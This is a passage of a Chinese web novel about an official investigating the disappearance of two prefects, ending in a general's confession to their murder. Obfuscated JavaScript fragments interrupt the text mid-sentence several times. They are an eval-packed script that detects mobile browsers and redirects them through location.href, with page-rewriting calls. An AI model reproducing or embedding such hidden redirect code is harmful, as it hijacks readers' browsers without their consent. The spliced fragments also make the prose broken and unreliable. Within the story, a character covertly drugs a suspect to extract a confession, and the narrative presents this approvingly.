l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15104312|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 远,失踪于一月二十号。他当天跟一个友人之子郭奇在茶楼喝茶,结果两个人都失踪了。 郭奇还是东宫的侍卫,此事又牵扯到太子。 已经有人拿此事做文章了,说太子故意藏匿幽州刺史,试图引起动乱,他好从中得利。 根据茶楼掌柜和伙计的供词,那天陆刺史和郭奇进了雅间,不需要人伺候,所以他们都没上前。等他们觉得时间过去太久,有些不对劲,去推开雅间的门,就发现两人都不见了。 所以,茶楼掌柜和伙计也什么都没看见。 那间茶楼后面对着一片树林,平时也没什么人行走。官府一直在寻找目击者,也没找到。 第二任刺史林益恭,失踪于三月一号。 他是在晚上被人掳走的,只有一个名叫白东亭的侍卫目睹全程。掳走他的是两名黑衣人,白东亭打不过他们,被点住了穴道,所以没法追上去。 在被掳走之前,林刺史还遭遇过刺杀。白东亭刚好救了他,就被他留在身边当侍卫了。 白东亭倒是还在衙门住着,但能说的都已经说了,提供不了更多线索。 云水谣反复看了几遍,觉得有些心烦,干脆把第三任赵刺史和第四任董刺史的卷宗也拿过来一并看了。 其实看这些没多大用处,前两任刺史失踪应该是别的原因,跟第三任和第四任刺史失踪没有关联。 因此,云水谣也只是一目十行地看。 柳依依看出了她的心烦,劝慰道:“大人,您的进展已经很快了,上任没多久就找到了董刺史和赵刺史。衙门的官吏都很佩服您呢,您别把自己逼得太紧了。” 云水谣道:“这也是没办法的事,两任刺史失踪,非同小可。若是他们活着,也许正在受罪。就像赵仁顺将军,被掳到瀚海国军营里,经常挨打。我晚一天解救他们,他们就要多受一天罪。” “往好处想,说不定他们只是被关起来,但没受罪呢?” “如果是跟他们有仇的人,肯定会直接杀了他们。那么,过去这么久了,尸体应该找到了。但没找到尸体,说明他们很可能还活着。那么,掳走他们的人应该是有什么所求,需要逼问他们。一旦逼供,用一些手段是免不了的。” 其实,云水谣跟陆刺史、林刺史都不认识。只是物伤其类,旁人都觉得刺史这种大官很威风,但一旦落入别人手中,只怕也跟待宰的羔羊一样。 云水谣如果不能把所有失踪的刺史都找到,就没有安全感,生怕自己也被掳走。 她一边跟柳依依说话,一边看着卷宗。 忽然,她喃喃自语:“这里好像有点不对……” 柳依依问:“哪里不对?” 云水谣指着郑盈尺的供词,道:“你看这里。郑盈尺说自己假扮成第一任陆刺史的模样,在梅花县的城楼上等赵刺史。赵刺史见到陆文远刺史的脸后,大惊失色,问陆文远怎么会在这里。” 柳依依道:“这句供词有什么问题?” 179.表情 “一般情况下,人在什么时候会大惊失色?” “害怕,惊慌的时候?” “对。我觉得这里赵刺史的反应不太对。” “怎么会不对?赵刺史上任后,也一直在找失踪的前两任刺史。他突然在城墙上见到陆文远刺史,自然感到惊讶。” “如果他只是惊讶的话,郑盈尺不会用上‘大惊失色’这个词。这说明,当时除了惊讶之外,赵刺史还有几分慌张。但是,他为何会慌张?正确的反应不应该是惊喜吗?” 柳依依道:“也许,他是认为真正的陆刺史回来了,那必然会跟他争幽州刺史之位。他是一个很在意身份地位的人,所以感到慌张。” 云水谣道:“这也是一种解释,但我有别的猜测。” “什么猜测?” “也许,赵刺史认为,陆文远刺史不应该出现在城墙上。那么,也就是说,赵刺史其实知道陆刺史在哪里。” “没错……不对啊……” 柳依依一开始觉得云水谣言之有理,但很快就感到困惑:“如果他真的知道陆刺史在哪里,为何不干脆把陆刺史救出来?他总不能为了继续当幽州刺史,干脆就不救人了吧?” “我觉得,存在这个可能。” “这……这也太大胆了……” “我们胆小,所以显得他胆大。其实,有很多人为了自己的权势地位,能做出我很多我们想不到、也不敢做的事情。” “那……我们要把赵将军叫过来问一下吗?” “直接问,他肯定不承认,我们也没法对一个五品将军用刑。这样做,反而打草惊蛇。万一他为了撇清自己,直接把陆文远刺史给杀了呢?那我们就间接害了陆刺史。” “这倒也是……那应该怎么办?” “我会派几个暗卫跟着他,看他在做什么。如果他真的知道陆文远刺史在哪里,我不信他能完全不去看。只要他去看,我们就能知道。” “其实,我有一个猜测……” “什么?” 柳依依道:“大人,你说,会不会是赵将军把前两任刺史给关起来了?他一直升不上去,干脆就把刺史给弄失踪了。只要他掳走的刺史足够多,总有一天刺史之位会落在他头上的。” “有道理。” “大人,我只是随口一说,您别这么快赞同我啊。” “为什么不赞同?咱们要大胆假设,小心求证。” “可是我觉得,他就算有那个心,也没那个能力。前两任刺史身边一定有很多侍卫、暗卫之类的,要掳走他们哪里是那么容易的?” “赵仁顺自己做刺史期间,不也被人掳走了吗?只要计划周密,就没有做不成的事。” “有道理,那我们还是派暗卫去跟踪他,等待消息吧。” “嗯。” 云水谣选了几名轻功好、善追踪的暗卫,去跟踪赵仁顺。 过了两个时辰,有个暗卫回来说道:“大人,我们刚才去军营那边,打听到安将军似乎想把赵将军外派到柳州。我们 要跟到柳州去吗?” 云水谣赶紧说道:“不用去柳州,你持我的信物去见安将军,让他把赵将军留下。赵将军身上可能还有一些隐秘未曾揭露,不能让赵将军失去控制。” 暗卫道:“是。” 暗卫领命而去。 云水谣见天色已晚,准备先回房间休息。 这时,她却看见在衙门后堂的角落里,有一群衙役正在对一个人拳打脚踢。 云水谣感到头疼,喝止道:“你们干什么呢!身为衙役竟然群殴别人,这像话吗?” 这些衙役赶紧散开,对云水谣道:“云大人。” 被打的那个人“哎哟”了半天,爬不起来,应该是受伤比较严重。他长得比较粗壮,不修边幅,衣裳破旧,胡子也乱糟糟的,看起来邋里邋遢的。 云水谣问那些衙役:“你们为什么打这个人?” 有个衙役道:“大人有所不知,这个人以前也是衙门里的差役,叫何武。几个月前,他辞了衙门里的差事,我们跟他渐渐来往少了。可是这些天,他又回来找我们叙旧。我们也没多想,有空时就会跟他一起吃饭喝酒。可是没想到,这小子竟然趁机偷我们的钱,我们在场的每一个人都被他偷过。 钱多钱少倒在其次,关键是我们拿他当朋友,他拿我们当冤大头,这可忍不了。一开始发现他偷钱的时候,我们劝过他,警告过他,也没想着把事情闹大。可是他竟然屡教不改,每次被发现后都说再也不偷了,但实际上下次他还是接着偷。 光是我的钱,他就偷过三次。我们实在忍不了了,所以今天把他打了一顿,让他长长记性。” 云水谣道:“他偷钱是不对,但你们也不能动用私刑。这里就是公堂,你们要是气不过,集体告他一状,让他进监狱不就行了吗?” 衙役道:“我们也想过告状,但偷窃罪关几天就放出来了,他根本长不了记性,还是会继续偷,倒不如打他一顿,让他害怕更好。我们本以为大人已经走了,没想到您还没走,被您撞到了。” 云水谣道:“难道本官不来,你们还要接着打不成?” “正是,我们想多打一会。” 云水谣被他们的实诚气笑了,阻止道:“好了,你们打也打了,气也出了。他偷走的钱,你们应该都拿回来了吧?要不就这样算了。” 衙役道:“大部分没拿回来,何武这小子,有了钱就吃喝嫖赌,挥霍一空,之前我们都看在共事多年的份上,不跟他计较了,可他变本加厉,一偷再偷,实在让人忍无可忍。” 云水谣皱眉道:“这样吗?先把何武关到大牢里去,让他在里面好好反省反省。” “是,大人英明。” “还有,给他请个大夫治治,别死在里面了。” “好的。” 有两个衙役押着何武往牢房里走。 云水谣问剩下的衙役:“官府招衙役也是要经过品行考核的,像何武这种人,以前是怎么招进来的?” “回大人,他以前不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15112014|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这样。他在衙门十来年了,从没犯过事。可自从他辞工以后,不知怎么回事,染上了赌钱的恶习,把存款挥霍完了,又不肯踏踏实实地找份工作,总想着坑蒙拐骗。看来人一旦往下滑落,就很难立起来了。” “那他既然干得好好的,为何要辞工?” “不知道,当时他说是身体不太好。可我们看他身体没什么问题,这几个月来,甚至还圆润了不少。” 云水谣觉得有些奇怪。这件事可能没有表面上看上去那么简单。 她继续问道:“何武具体是什么时候辞工的?” “大约在四月中旬吧。” 四月份,那就是赵仁顺当刺史的时间。 云水谣道:“衙役的工钱不高吧?他怎么会有钱去赌.博?” “工钱不高,但他辞工之后好像突然阔绰了,经常出入赌场,花钱也很大方,输点小钱也根本不计较。就连上酒楼吃饭,也会给赏钱,倒像是在哪发财了似的。” “突然发财……” 这衙役虽是随口一说,但云水谣却留了心。 一个原本老实勤恳的衙役,干了十年,突然辞工,辞工之后还出手阔绰,甚至染上赌钱的恶习,那最大的可能就是:他突然发了一笔横财,因为钱来得容易,所以他花得也容易。花完之后,大手大脚的习惯已经改不了了,所以不想着老实挣钱,而是开始偷钱。 这个何武身上,一定有秘密。 云水谣叫来幽州司马张呈祥,让他审问一下何武,如果有什么大事来回报她,没大事就让张司马自己斟酌着处理此案。 张司马道:“是,下官明日审问何武。” 第二天下午,云水谣正在公廨批阅公文,张司马急匆匆地走了进来,说道:“云大人,我审问了何武,得知了一件重要的秘密。” 见张司马神情凝重,云水谣也十分关心案情,问道:“张司马发现了什么?” “那个何武,在四月份的时候突然辞工,是因为他发了一笔大财,是赵刺史,也就是如今的赵仁顺将军给他的。而赵将军之所以给他钱,是因为他帮赵将军做了一件事。” “什么事?” “大人可还记得,在陆文远刺史到任之前,幽州有一位姓耿的刺史?” “记得。那位耿刺史好像因为政绩不好,怕被皇上降罪,所以贿赂了一些朝廷官员,想让他们帮着说好话。他贿赂的其中一位官员就是陆文远,没想到陆文远把这事捅到了皇上面前,皇上下令夺去耿刺史的职位,将他全家流放。他死在了流放路上,并对后来的幽州刺史发出了诅咒……” 张司马道:“这个诅咒是假的。” “什么意思?” “这个诅咒,是何武编出来的。当年,就是何武押送耿刺史去流放地的,耿刺史确实死在了流放路上,但临死之前只是痛骂了陆文远大人几句,并没有诅咒后来的幽州刺史不会有好下场。所谓的‘死刺史带走活刺史’的诅咒,是赵将军让何武编造并传播的。” “什么?此话当真?” 180.晕倒 “何武说是这样,但还需要其他的证据。所以,下官来找大人拿主意。” “去调查一下,七年前押送耿刺史的差役,除了何武还有谁,想办法取得他们的口供。” “是。” 押送犯人肯定不是一个差役能完成的,如果有其他差役的口供,互相佐证,就可信很多。 房间里只剩下云水谣和柳依依二人。云水谣问道:“依依,你觉得赵将军为何要叫何武编造这样的流言?” 柳依依道:“我想,他可能想把前两任刺史的失踪说成是死去的耿刺史的报复,这样他就不用尽心寻找那两位刺史了。毕竟事涉鬼神,他就算找不到前两任刺史,也没人会怪他。 如此一来,他可以避免渎职之罪,也能花更多精力去攻打梅花县。而且,只要前两任刺史一直失踪,那赵将军就能一直当着幽州刺史。” 云水谣道:“这也是一种可能。还有一种可能,他已经把前两任刺史杀了,为了避免被人发现,他派人散布了鬼魂诅咒的传言,让人感到害怕,从而不敢深究。那么,也就无人知晓他所做之事了。” 柳依依惊出一身冷汗,道:“真相会是这样吗?” “以我对赵将军的了解,他要是知道前两任刺史在哪,最有可能做的是杀了他们,而不是救出他们。” “可是,前两任刺史都是世家子弟,树大根深,赵将军怎么敢杀人?” “只要别人都相信是耿刺史鬼魂报复,就没人会怀疑到他头上。正所谓富贵险中求,不要低估一个有野心的男人的心狠程度。” “那我们现在要怎么做?叫赵将军过来问话吗?” “不用,等张司马查到更多线索再说。” 几天后,张司马回来了,对云水谣道:“大人,七年前押送耿刺史一家的差役一共十人,其中有四人已经过世,还有五人早就已经去别处谋生,不在幽州了,目前还在幽州的只有何武一个。而且,当时耿刺史临死前,待在他身边的差役只有何武,其他差役都在闲逛,没有注意到耿刺史病危。 所以,耿刺史临终前说了什么,只有何武知道。他想要说出实情或是造谣都可以。恐怕正是因为这样,赵将军才找何武说一些谣言。只要从何武口中说出来,可信度就很高。” 云水谣点头道:“有劳张司马了。此事先别泄露出去。” “是,下官明白。” 得不到其他差役的证词,那何武所言就成了孤证,很难根据何武的供词,断定赵将军一定收买了他。 所以,想要知道真相,还需从赵仁顺这边入手。 云水谣让人去请赵仁顺过来,并预先准备好了椅子。 赵仁顺是五品将军,就算上公堂,也不能跪,不能站,有资格坐着回话。 一个多时辰后,赵仁顺过来了。他看起来有些疲惫,脚步虚浮,可能是练兵累着了。 他向云水谣行礼之后,就坐下了。 云水谣问道:“赵将军,今日请你前来,是有些事想问问你。当日你去梅花县的城墙上,郑盈尺是不是假扮成陆文远刺史的模样,让你大惊失色?” “对,我当时很奇怪,觉得陆文远刺史怎么会在这里。趁我惊讶的功夫,郑盈尺朝我攻击,我招式大乱,最终不敌,被他掳走。郑盈尺十分狡猾,如果他以真面目跟我相见,与我真刀真枪地打一场,我未必会输。他假扮成失踪的陆刺史,让我没有防备,实在是小人行径。” “赵将军,当时你以为城墙上的人是陆文远刺史,你的反应为何是大惊失色,而不是惊喜?你当时很慌张?为何慌张?是不是你笃定了,陆刺史不会再出现,所以看到他出现,才有如此反应?” “我……那段时间,关于死去的耿刺史的传言流传得很广,都说耿刺史临终时,对历任幽州刺史发出诅咒,说他们不会有好下场。我觉得,前两任刺史是遭到了鬼魂的报复,已经死了。没想到陆文远刺史突然出现,我自然吓了一跳。” 云水谣似笑非笑:“原来是因为那个流言啊。” “是的。” “赵将军是武将出身,也会相信这种鬼魂复仇的流言吗?” “这……一开始是不信的,但我找前两任刺史找了很久,都没有丝毫踪迹,所以才渐渐相信了那个诅咒。” “可是据本官所知,关于死去刺史诅咒的流言,就是赵将军自己找人散播的。既然如此,你怎么会害怕这个流言?” 赵仁顺大惊,看着云水谣,透露出几分心虚。他大概没想到云水谣会说出这些话,一时忘了掩饰自己的表情。所以,他惊讶的神情持续了好一会儿,其他人也都看出来了。 接着,赵仁顺有些生气地说道:“云大人,您怎么可以随便污蔑我?” 云水谣:“我可没污蔑你。来人,传何武。” 何武被带了上来,朝云水谣磕头,道:“大人,放了我吧,我以后再也不敢偷钱了。” 云水谣道:“把你之前招供的事情,再说一遍,本官再考虑放不放你。” “什么事情?是偷钱的细节,还是别的?” “是跟赵仁顺将军有关之事。他在担任幽州刺史期间,如何收买你,散布了什么流言,你如实说来。” 何武看见赵仁顺就坐在一边,有些害怕,改口道:“大人,赵将军没吩咐我做什么。” “可你之前曾亲口招供,现在又改口,难道之前都是在骗长官?你可知欺骗长官也是重罪?” 何武有些害怕:“啊……我说……但是……但是得让我离赵将军远一点。” 赵仁顺对何武怒目圆睁:“你什么意思?难道还怕我当堂杀你不成?” 云水谣一拍惊堂木:“肃静!何武,你上前来,在本官身边回话便可。” “是。” 何武快步跑到了云水谣身边,说道:“几个月前,赵将军还是幽州刺史。他找到小的,给小的一笔钱,让小的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15116992|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 散播流言,说是之前耿藏山刺史死的时候,心怀怨恨,诅咒后来继任幽州刺史之位的人都没有好下场。于是,小人就散播了这个流言。 赵将军又怕我继续留在公门中,会露出马脚,就叫我辞工。我辞工之后,因为自己突然有钱了,就染上了赌钱的恶习。钱输光之后,我已经没法好好做事了,满脑子都想着挣快钱,发大财。因此,我才走上了偷钱的不归路。” 赵仁顺怒道:“你说谎!你可有证据?” 何武有些害怕赵仁顺,哆哆嗦嗦地说:“我说的……说的都是事实,但没有证据……因为是私下交易的,没有其他人看见。” 赵仁顺看向云水谣,眼神凌厉:“大人,您不会听这个人的几句话,就断定本将军有罪吧?这种刁民的话,岂可轻信?” 云水谣道:“确实不能轻信,但也不能完全不信。这样吧,在场的官吏和衙役们都说说,你们是什么时候听说耿刺史的临终诅咒的?是早些年,还是近几个月?” 张司马道:“前些年并没有这个流言,我们也是今年才听说,耿刺史临终前竟发出了诅咒。” 其他官吏也说道:“没错,确实是近几个月流行起来的。” “对,好像今年四月份之前还没有。” 云水谣道:“这就是了。耿刺史已经死了七年,如果他当时确实说了什么诅咒之言,为什么何武当时不说出来,要等到七年后再说?唯一合理的解释是,耿刺史当时没说什么诅咒,这一切都是赵将军让何武瞎编的。” 赵仁顺道:“就算是这样,也可能是何武自己瞎编的,跟本将军有什么关系?” “何武当时只是一个衙役,他瞎编这些流言有什么意义?这对他并没有什么益处,如果被长官发现他散播流言,可能还会将他治罪。所以,只有一种可能,就是他是受人指使。” “即便是受人指使,凭什么说是我?也许是其他人。” 何武有些委屈地看向赵仁顺:“赵将军,您怎么翻脸不认人啊?” 赵仁顺怒道:“你不要胡乱攀咬本将军!” “我没有啊,这些事都是真的……” 赵仁顺站起来,对云水谣道:“云大人,若是您拿不出更多证据,本将军就先行离开了。军营里还有一些事,需要本将军处理。” 赵仁顺要走,云水谣也没法阻拦。对于朝廷重臣,如果没有确切的证据,是不能扣押在官府的。 五品官,尤其是武将,已经算是重臣了。 赵仁顺往外走了几步,忽然一头栽倒,晕了过去。 云水谣赶紧叫人把赵仁顺扶进房间,请大夫来医治。赵仁顺当过幽州刺史,衙门里有一间他以前住过的官舍,一直空着,如今还是让他住那间。 大夫还没来,云水谣先问赵仁顺的随从:“赵将军怎么了?” 随从道:“将军可能是太累了,他这些天一直睡得不太好。” “为何会睡不好?” 181.被囚 “不知道。自从几天前,安将军找他谈话之后,他回来就一直心神不宁,晚上睡不着。白天又要去练兵,一来二去的,身体就变差了。” 云水谣若有所思,觉得还是应该去找安亭振问一下。 过了一会,大夫来了,给赵仁顺把脉之后,对云水谣说道:“赵将军身体没什么大碍,只是太累了,休息不好,又因为惊惧过度,损伤了脏腑。好在诊治及时,我开几服药,让他喝下去就好。接下来要注意休息,不可劳累。” 云水谣皱眉道:“惊惧过度?” 大夫道:“脉象上是这样显示的,但具体原因还需询问赵将军。” “好,本官明白了,有劳大夫了。” 云水谣让人送走大夫,问赵仁顺的侍从:“你家将军为何会惊惧过度?” “我们也不知道,总之这些天赵将军时不时地会露出惊恐的模样,但在别人面前,他又会假装正常。” 云水谣道:“一会等药煎好了,给你家将军吃了。等他清醒一些了,再让他离开。” “是,我们会仔细照顾,多谢云大人费心。” 赵仁顺还在昏迷着,云水谣想知道前几天安亭振到底跟赵仁顺说了什么,导致赵仁顺连日来睡不好,累得晕倒。 考虑到安亭振比较忙,云水谣便亲自去了灞桥营,求见安亭振。 安亭振正在跟自己的副将们开会,听说云水谣来了,便让副将们先离开,将云水谣请进来。 云水谣问道:“安将军,不知您前几日跟赵将军说了什么,他回去之后一连数日都睡不好。今日我有事问他,结果他没说几句话竟晕倒了,大夫诊断说是惊惧过度。” 安亭振惊讶道:“竟有此事?我可没吓他,那天只是把他设计你和正则的事说了出来,表示我已经知道了全部。但我也说过不会跟他计较,只要他以后不耍手段就行了。他因为没法升迁而懊恼,我还开解他了。” “如果是这样,他应该不会感到惊惧,难以入睡才对……那天还有没有什么细节,是您刚才没想起来的?” “没有,那天的事其实挺简单的,就是找他摊牌,然后表示不计较。不过,他好像确实受到了惊吓,那天他离开时,还差点被绊倒。但是,他不应该这么胆小才是。而且,我最后还说了几句场面话来圆场,不至于让他下不来台。” “您当时是怎么说的?” “我好像是说:‘如果你真的有本事,有军功,升迁自然指日可待,没有人会阻碍你。至于其他不入流的手段,就不要用了。你觉得自己做得天衣无缝,但总有真相大白的那一天。’” 云水谣想了想,道:“会不会是最后这几句话让他感到害怕?” “这有什么好怕的?” “也许,他还做了其他亏心事。您觉得那几句话只是给他劝诫,但在他听来,却有些担忧,害怕自己做的其他坏事也被人发现。” “这倒有可能,不知他还做过什么亏心事?” “我怀疑,前两任刺史的失踪,跟他有一定的关系。甚至前两任刺史可能已经死在他手上了。” 云水谣把自己搜集到的证据跟安亭振说了,安亭振道:“如果这些证据都是真的,那在前两任刺史的事情上,赵仁顺可能确实隐瞒了一些东西。他现在是不是什么都不认?” “对。” “我有个办法,你先让赵仁顺回军营来,我会这包东西混在他的食物中。用不了几天,他就会招认的。” 安亭振拿出一包药粉,云水谣问道:“这是什么?不会有毒吧?安将军,还是别冒险了。” 安亭振笑道:“不是毒药,只是一种会令人特别清醒的药。每天只需服用一点点,晚上就睡不着了。他本来就有失眠的毛病,再加上这种药物的作用,他彻夜难眠,肯定会一遍遍地去回想自己做过的坏事,越想就越心虚。 寻常人心虚还能掩饰,但他缺乏睡眠,身体本就比不上寻常人,心虚的感觉会放大,让他坐立难安。只有一种方法能让他安心,就是如实交代自己所做的一切。” 云水谣道:“这倒是个好办法,只是这么做好像不太合适……而且,万一被人发现的话……” “只要你不说,我不说,不会被人发现。我是他的上级,我请他吃饭,难道他还敢事先验毒不成?而且这些药粉也没毒。” 说着,安亭振有些狡黠地一笑,把云水谣也给逗笑了。 云水谣本以为,安亭振应该是一个端方守礼的君子,没想到还有这一面。 有时候为了达到目的,采取一些无伤大雅的小手段也无可厚非,谁让嫌疑人太顽固了呢。 云水谣对安亭振笑道:“那我就等安将军的消息了。” —— 几天后,云水谣正在看公文,有几个士兵过来找云水谣,道:“刺史大人,我们是安将军的亲兵,安将军说,赵仁顺将军有些事想交代,命我们将他带过来,他现在就在门外。” 云水谣惊喜道:“快把他带到公堂上。” 安亭振的法子真的有效,云水谣有些激动,不知赵仁顺会说出什么来。 云水谣刚到公堂坐好,赵仁顺也走了进来。 不过,他没有坐椅子上,而是直接跪了下来。 云水谣道:“赵将军,按规矩,你可以坐着回话。” 赵仁顺虚弱地摇头:“不,我还是跪着说吧……我有罪……” 短短几日不见,赵仁顺已经没有之前固执凌厉的模样,瘦了一大圈,黑眼圈很重,精神很差,说话也有气无力的。显然他已经失眠很多天了,而且被心里的秘密压得喘不过气来。 云水谣道:“赵将军有什么想说的,不妨直言。” 赵仁顺道:“前两任失踪的刺史陆文远和林益恭,已经被我杀了。” “什么?!” 云水谣惊得站了起来。 虽然她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15121943|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 早已有所猜测,但是听赵仁顺亲口说出来,她还是惊讶不已。 她问道:“所以,他们的失踪,也是你做的?” 赵仁顺摇头:“不是。我只是无意间发现了他们的藏身之处,他们见到我,叫我救他们。可是我……一念之差,杀了他们。因为他们活着出来的话,幽州刺史之位未必会让我继续当,我好不容易才得到这个机会,所以……” 杀人的原因,也被云水谣猜到了。 云水谣问道:“当时的情形如何?你是怎么发现他们的?他们临终之时可有说些什么?” 赵仁顺道:“前两任刺史失踪之后,皇上任命我为新的幽州刺史,并叫我找出前两任刺史的下落。但我心里并不想找到他们,所以对于此事并不上心,只是装模作样派人寻找而已。 当时我一心想着,要收复失地,立下军功,让皇上看到我的能力,以后还能接着提拔我。四月份,我终于把梅花县打下来了,但我不想就此罢手,还想接着打。 但是我的长枪磨损了,没有原先那么锋利了,所以我想找一个隐居的铸剑师,帮我重新打造两柄长枪。那个铸剑师住得很偏远,而且他脾气古怪,不喜欢身份太高、气势太强的人去找他。 为了表示诚意,我换了一身常服,没有带任何随从,孤身一人前去拜访那位铸剑师。走到半路,我路过一个农夫家里,见他家院子里养了上百只鸡。我想,他家养这么多鸡,应该是拿来卖的。正好我要找的那个铸剑师喜欢吃鸡肉,我就想着买两只鸡,顺便带过去。 于是,我就走了进去,叫了几声,却没有人回应。我把屋前屋后都逛了好几遍,看见厨房有吃剩的碗筷,但就是没人。我想,主人应该是暂时离开了,很快就会回来。可我等了许久,也不见有人回来。 我打算先去院子里挑几只鸡,等主人回来直接就能买了。谁知,我在院子里走了走,却发现了一道暗门。那道暗门跟地砖融为一体,比较隐秘,一般人发现不了。但我有这方面的经验,所以发现了。我打开暗门,往下走去,走了很长一段路,隐约听见有人说话,但听不真切。 我继续往前,发现在尽头的一间小屋里,失踪的前两任刺史竟被铁链锁住,身上有很多伤痕,非常憔悴,披头散发的,跟原先的模样十分不同。要不是我对他们比较熟悉,一下子也认不出来。他们眼睛半闭着,好像快晕过去了。 在小屋里,有两个人背对着我,正在跟两个刺史说话。他们好像让两位刺史用钱买食物,但十两银子只能换一粒米。两位刺史都垂着头,没有说话,也不知道是昏迷了,还是拿不出钱了。 当时,我没有多想,本能地偷袭那两个人。那两个人没有防备,被我杀死。我看了尸体的正脸,其中一人竟是太子府侍卫郭奇,第一任刺史陆文远正是因为跟他吃了顿饭,就失踪了。一开始我们都怀疑郭奇和陆刺史一起被掳走,没想到是郭奇掳走了陆刺史,目的应该是得到陆刺史的钱。” 182.侍卫 赵仁顺接着说道:“而另一具尸体,我不认识,看着像是普通的农夫。但他体格健壮,双手有常年练刀的痕迹,应该是个练家子,伪装成农夫,我猜测他可能就是那户农家的主人,表面上是农夫,实际上跟郭奇是一伙的。 但他和郭奇到底是单干,还是属于共同为某个主子效力,就不得而知了。 我把这两人杀死之后,两位刺史都十分惊喜。他们认出了我,用尽最后的力气让我救他们出去。我本来想救的,但我当时忽然产生一个想法:如果他们出去了,刺史之位肯定要还给他们中的某一个。他们已经这么虚弱了,说不定出去也活不了,倒不如我亲自了结了他们,还能让他们少受痛苦。 于是,我……我就杀了他们。” 说完这些,赵仁顺精神颓丧,似乎也有些后悔。 云水谣道:“正是因为陆文远刺史已经死在了你手中,后来郑盈尺约你相见,还易容成陆刺史的样子,你才会那么惊慌?” “对,我当时真的以为是死去的陆刺史来找我报仇了,所以心中慌乱,出招也不成章法,没过多久就被郑盈尺擒住了。” “前两任刺史,还有郭奇、那个农夫的尸体,现在在哪里?” “还在那户农家的地下密室中。我当时出来后,怕事情败露,就用水泥把暗门封死了。现在要去那间密室的话,得先凿开暗门,才能下去。” “你在地图上标出位置,我让衙役们过去看看。” 赵仁顺在地图上标注了那户农家的位置,并详细说明了暗室的入口。 云水谣便让衙役们去查,顺便把仵作也带上。 云水谣接着问赵仁顺:“两位刺史临死前,可有说什么?” “他们叫我救他们出去,但我杀了他们,除此之外就没说什么了。” “你没有问他们是如何被掳到地牢里的?” “没问,他们也没说。” 云水谣觉得有些难办。现在前两任刺史的下落是有了,可掳走他们的就是太子府侍卫郭奇和那个农夫。 如果不能查明郭奇究竟在为谁做事,只怕又要太子背黑锅。 但现在郭奇已经死得透透的了,没法从他身上查出什么。 事情陷入了僵局。 云水谣忽然想起,第二任刺史林益恭被掳走时,他身边的侍卫白东亭目睹了全过程。 据白东亭所言,掳走林刺史的是两个黑衣人。莫非就是郭奇和那个农夫? 如果让侍卫白东亭见到郭奇和农夫的尸体,是不是能认出来? 也许,白东亭能想起一些细微的线索。 于是,云水谣让人去叫白东亭。 自从林益恭刺史失踪后,白东亭关心他的下落,一直没有另谋生路,而是住在了官舍里。 叫他过来,应该很快。 谁知,去找他的衙役回来禀告:“大人,白东亭不在自己的住处。” 云水谣道:“也许他出门了,派人四下找找。” “是。” 跪在堂下的赵仁顺说道:“云大人,我有些困,可否先睡一觉?” 云水谣道:“可以,你先去牢房睡吧。” “多谢云大人。” 赵仁顺跟着衙役去了牢房。他把自己的秘密说出来后,精神一下子放松了。原先怎么也睡不着,这会倒是眼皮沉重,很想睡觉。 云水谣觉得,人真的不能做坏事。就算做得天衣无缝,也会以一种意想不到的方式揭露出来。 就像赵仁顺,他杀人的时候,根本想不到,有一天会是他自己亲口说出所有事,来换取一宿好觉。 长史吕民杰走到云水谣身边,小声道:“大人,我觉得应该查一查前两任刺史的账,别人知道绑架他们来要钱,说明他们可能有很多来历不明的财产。” 云水谣觉得有道理,还是吕长史这种当官多年的比较有经验,发现了一些云水谣注意不到的地方。 云水谣就让吕长史去查前两任刺史的账目。 她吃了午饭后,继续在公堂等待。 到了黄昏时分,去寻找前两任刺史尸体的衙役们回来了,向云水谣禀告道:“大人,我们在那户农夫家里找到了地下的暗室,里面有四具尸体,其中两具确实是前两任刺史。四具尸体都已经出现了不同程度的腐烂,根据仵作的验尸结果,两位刺史的尸身有很多伤口,就连骨头也断了多处,可见生前遭到了虐待。 而另外两具尸体没有什么伤口,应该确实如赵将军所言,他们两人是拷问两位刺史的人。现在四具尸体都已经运回来了,已放入冷库中。” 云水谣去了冷库查看尸体,这几具尸体的面目都有些模糊了,尸体的情况也有些恶心,只能从服饰判断他们的身份。 云水谣找了一些熟悉两位刺史的官吏和衙役,让他们辨认。他们都说,两位刺史的尸体确认无误。虽然面部已经腐烂,但依稀可以看出生前的模样。 另外的两具尸体,一具作农夫打扮,一具穿着青色常服,应该是太子府侍卫郭奇。 郭奇出远门拜访别人,自然不会穿着侍卫的制服,而是穿着自己的衣服。 